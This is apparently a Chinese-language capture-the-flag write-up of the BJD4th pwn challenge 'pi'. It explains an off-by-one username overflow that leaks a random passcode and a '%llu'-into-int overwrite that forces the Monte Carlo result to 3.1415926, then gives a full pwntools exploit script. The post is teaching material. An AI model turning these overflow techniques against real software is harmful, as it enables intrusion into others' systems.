没记错的话,比赛那天正好是圣诞节,就只看了这一道pwn题,我还没做出来。我太菜了。

  有一说一,ida换成7.5版本之后,一些去掉符号表的函数也能被识别出来了,ida更好用了呢。

  题目程序分为两块,先看第一块,登陆。

  先输入一个username,再输入一个passcode,程序会判断passcode和在16行随机生成的数是否相等,如果相等就会通过判断。(16行,后面的函数是来读取随机数的)

  这里的读取用的是自写函数,sub_13BB,跟进去看看。

  箭头所指是会在我们输入的username后面加"\x00"的,用来截断字符串,但是这里明显可以溢出。

  当输入64个字符时,会在65处加上"\x00",执行snprintf的时候,这个位置又会被随机数覆盖,在18行进行输出的时候,由于没有截断,会把生成的随机数也输出。这样就得到passcode了。这样第一部分就搞定了。接下来看第二部分。

  这里题目说了,程序用的是蒙特卡罗算法求圆周率的。到底是怎么求的呢?

  个人感觉和抛硬币一样,只要你抛得次数足够多,最后的统计出的抛出正面和反面的概率就越接近1/2。这就是这个算法的核心,多次随机实验来求概率,通过概率再进行推算。跑远了...

  题目是让最后得出的圆周率的误差小于0.0000001就可以cat flag。是让我们输入一个实验的次数,理论上,只要次数足够多,就可以直接拿flag。但是程序在第一块有alarm函数,是有计时的。所以不行,毕竟还是个pwn题嘛,找找漏洞点。

  这里有一个17行有一个"%llu"其实挺引人注目的,这个是long long int的缩写,而程序上写了,v1是int类型变量,说明这里可以进行溢出。可以将v2赋值成3.1415926,同时让v1==0,这样v0==0,就可以拿到flag了。

  这里有一个知识点就是,浮点数应在内存中应该怎么表示呢?我以前写过文章专门讲解过,这里我就直接通过例子看了。

1 #include<stdio.h>
2 float a;
3 int main()
4 {
5 a=3.1415926;
6 getchar();
7 return 0;
8 }

  gcc编译一下,看内存分布。

  因为这只是给v2赋值的,还需要让v1==0,因为是小端序的原因,内存中应该是

  00000000 DA0F4940 00000000 (前面的8个数代表v1的内存分布,后面的16个数是v2的内存分布)

  所以这里需要输入的数值应该是‭4632251120704552960‬,既能让v1==0,又能让v2==3.1415926。这样就能拿到flag了。

  exp:

 1 from pwn import *
2
3 p = process('./pi')
4 context.log_level = 'debug'
5
6 p.sendlineafter('Username: ','a'*0x3f+'b')
7 p.recvuntil('b')
8 password = p.recvuntil('.')[:-1]
9 print 'password-->'+password
10 p.sendlineafter('Passcode: ',password)
11 p.recvuntil('N = ')
12 p.sendline('4632251120704552960')
13 p.recv()
14 p.close()

蒙特卡洛算法图片来源:https://crazism.net/9454.html

BJD4th pwn pi的更多相关文章

  1. Raspberry Pi(树莓派)上安装Raspbian(无路由器,无显示器)

    一. 准备工作 1. 树莓派主板 型号:树莓派3 B型 处理器:四核64位ARM Cortex-A53 CPU 内核架构:ARMv8 2. 一张大于8G的TF卡(本人用的是32G的,也作为PiLFS用 ...

  2. 让Mono 4在Raspberry Pi上飞

    最近公司有项目想要在树莓派上做,代替原来的工控机(我们是把工控主机当作小的主机用,一台小的工控主机最少也要600左右,而树莓派只要200多).于是,公司买了一个Raspberry Pi B+和一个Ra ...

  3. Kali v2.1.2 for Raspberry Pi 3B

    最新的下载地址是: https://www.offensive-security.com/kali-linux-arm-images/ 按照官网的说法是找不到树莓派版本的SHA1SUM和SHA1SUM ...

  4. A new comer playing with Raspberry Pi 3B

    there are some things to do for raspberry pi 3b for the first time: 1, connect pi with monitor/KB/mo ...

  5. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  6. Windows Iot:让Raspberry Pi跑起来(1)

    首先请大家原谅我的"不务正业",放着RabbitHub不写,各种系列的文章不写搞什么Iot,哈哈,最近心血来潮想搞个速度极快的遥控车玩,望着在角落的Raspberry Pi恶狠狠的 ...

  7. 【转】【Raspberry Pi】Unix NetWork Programming:配置unp.h头文件环境

    一.初衷 近期正在做网络计算编程的作业.要求平台为unix/linux,想着Raspberry Pi装的Debian系统也是Linux改的,也应该能够勉强用着,所以就用它来做作业了! 二.说明 先把环 ...

  8. 【Raspberry Pi】新入手的Raspberry Pi3拼装日志

    一.概述 2016年暑假某宝入手Raspberry Pi 3,装机清单: 树莓派主板 亚克力外壳 小风扇 散热片 30G SD card 螺丝若干颗 因机型问题,可能与你的机器有微小差异 二.装机过程 ...

  9. orange pi pc 体验(一)

    最近在淘宝上看到一款和树莓派差不多的卡片机,定价才99元,而且是国产的,忍不住入手了一个,就是orange pi 感兴趣的可以百度搜索下,深圳一个公司出的,不过资料比树莓派少了很多,论坛中人也没多少, ...

随机推荐

  1. [atARC086F]Shift and Decrement

    将$A$操作看作直接除以2(保留小数),最终再将$a_{i}$取整 记$k$表示$A$操作的次数,$p_{i}$表示第$i$次$A$和第$i+1$次$A$之间$B$操作的次数(特别的,$p_{0}$为 ...

  2. key按键使用

    1. 按键实验 查询原理图可知KEY对应的按键和引脚,当KEY按下时,引脚为低电平,否则为高电平 2. 代码 2.1 GPIO 为了方便GPIO的编写,建立GPIO的文件夹和对应的.h和.c文件. b ...

  3. 日志审计功能-appent多个日志

    public static void main(String[] args) { Jedis jedis = new Jedis("127.0.0.1"); jedis.setnx ...

  4. APIO2020 打铁记

    Day (-3) - 2020.8.11 马上要 APIO 了,不管三七二十一先刷一套历年的 APIO 再说. 花了 3h 写了 APIO2019,爆零150左右,然后查看了一下去年的分数线,Cu 1 ...

  5. 【机器学习与R语言】3-概率学习朴素贝叶斯(NB)

    目录 1.理解朴素贝叶斯 1)基本概念 2)朴素贝叶斯算法 2.朴素贝斯分类应用 1)收集数据 2)探索和准备数据 3)训练模型 4)评估模型性能 5)提升模型性能 1.理解朴素贝叶斯 1)基本概念 ...

  6. perl 多fasta文件匹配,并提取匹配文件第一条序列

    目标如题,有多个fasta文件和一个文件名列表,将文件名列表中包含的文件匹配出来并提取第一条序列合并成一个fa文件. 这个采用perl实现,用法和代码如下: 1 #!/usr/bin/perl -w ...

  7. SpringBoot Profiles 多环境配置及切换

    目录 前言 默认环境配置 多环境配置 多环境切换 小结 前言 大部分情况下,我们开发的产品应用都会根据不同的目的,支持运行在不同的环境(Profile)下,比如: 开发环境(dev) 测试环境(tes ...

  8. 学习java 7.24

    学习内容: Swing编程 由于Swing的所有组件完全采用Java 实现,不再调用本地平台的GUl,所以导致Swing图形界面的显示速度要比AWT图形界面的显示速度慢一些,但相对于快速发展的硬件设施 ...

  9. 8. LINUX shell 环境变量

    wc –l file 计算文件行数, wc -w file  计算文件中的单词数, wc -c file   计算文件中的字符数 查看文件内容: cat .more

  10. Learning Spark中文版--第五章--加载保存数据(2)

    SequenceFiles(序列文件)   SequenceFile是Hadoop的一种由键值对小文件组成的流行的格式.SequenceFIle有同步标记,Spark可以寻找标记点,然后与记录边界重新 ...